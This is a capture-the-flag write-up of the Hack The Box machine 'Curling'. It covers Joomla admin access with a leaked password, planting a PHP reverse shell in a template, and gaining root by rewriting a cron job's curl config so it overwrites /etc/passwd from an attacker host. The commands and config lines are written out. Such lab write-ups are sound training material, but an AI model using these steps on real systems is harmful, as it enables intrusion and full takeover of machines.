Curling Writeup

01 April 2023 #CTF #HTB #box #easy #linux

curling info

Enumeration

Let's go:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.150
[...]
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
[...]
$ sudo nmap -sCV -p 22,80 -oN enum/initial.nmap 10.10.10.150
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8ad169b490203ea7b65401eb68303aca (RSA)
|   256 9f0bc2b20bad8fa14e0bf63379effb43 (ECDSA)
|_  256 c12a3544300c5b566a3fa5cc6466d9a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

As nmap told us, it seems we are dealing with a Joomla blog. We can try to fingerprint the version by getting /administrator/manifests/files/joomla.xml:

get joomla version

It works, and the version doesn't have a CVE.

Looking through the HTML source, there is an interesting comment at the bottom of the page:

secret.txt in HTML comment

Let's try to check if /secret.txt actually exists:

$ curl http://10.10.10.150/secret.txt
Q3VybGluZzIwMTgh

It does, and looks like a password.

In the first blog post, there is a potential username:

first blog post

Foothold

Trying to login as Floris with the contents of /secret.txt fails. However, if we base64 decode it, we get the actual password:

$ echo Q3VybGluZzIwMTgh | base64 -d
Curling2018!

We can go the admin login page at /administrator and get access to the admin panel:

joomla admin panel

In the top bar, go to Extensions -> Templates -> Templates and choose a radom template (I'll use 'protostar'). Then edit a php file and add a reverse shell:

add reverse shell in php code

Click 'Save' and just go to the relevant file to get your reverse shell:

$ curl 10.10.10.150/templates/protostar/error.php

Privesc

www-data to floris

We have access to floris' home folder:

www-data@curling:/home/floris$ ls
admin-area  password_backup  user.txt

This password_backup sounds interesting:

www-data@curling:/home/floris$ cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48

Let's use xxd to turn this hexdump back into binary format:

$ xxd -r password_backup > password
$ file password
password.enc: bzip2 compressed data, block size = 900

We can decompress this bzip2 archive with bzcat:

$ bzcat password > asdf
$ file asdf
asdf: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141

Now we have a gzip archive:

$ mv asdf asdf.gz
$ gunzip asdf.gz
$ file asdf
asdf: bzip2 compressed data, block size = 900k

Here we go again:

$ bzcat asdf > plz
$ file plz
plz: POSIX tar archive (GNU)

I feel like we're getting close now:

$ tar -xf plz
$ ls
asdf.gz  asdf  enum  password  password.txt  plz
$ cat password.txt
5d<wdCbdZu)|hChXll

Finally, we can log in as floris with this password.

floris to root

After uploading pspy on the box and running it, we see a cron job executed every minute as root:

floris@curling:/dev/shm/$ ./pspy64
[...]
2023/04/01 16:03:01 CMD: UID=0     PID=28745  | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
[...]

The -K option in curl specifies a config file. In this config file, we can specify options as we would on the command line.

By specifying the output option in the config file, we can choose where to write.

With an arbitrary file write, there are lots of ways to become root. We'll exploit it by patching /etc/passwd to change root's password.

First, we'll get the existing /etc/passwd to our box to modify it.

Next, we can generate a password hash using openssl:

$ openssl passwd
Password:
Verifying - Password:
$1$Us/fhKsC$I9XApOarJ6usPfJCx5qWC1

This is the hash for 'asdf'.

Edit the first line of the file to replace the 'x' with the hash:

$ head -1 passwd
root:$1$Us/fhKsC$I9XApOarJ6usPfJCx5qWC1:0:0:root:/root:/bin/bash

Now we'll edit the curl config to fetch the new passwd from our python websever and overwrite the real /etc/passwd:

url = "http://10.10.14.14:8000/passwd"
output = "/etc/passwd"

After 1 minute, we should be able to log in as root with the password 'asdf':

floris@curling:~/admin-area$ su -l
Password:
root@curling:~# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways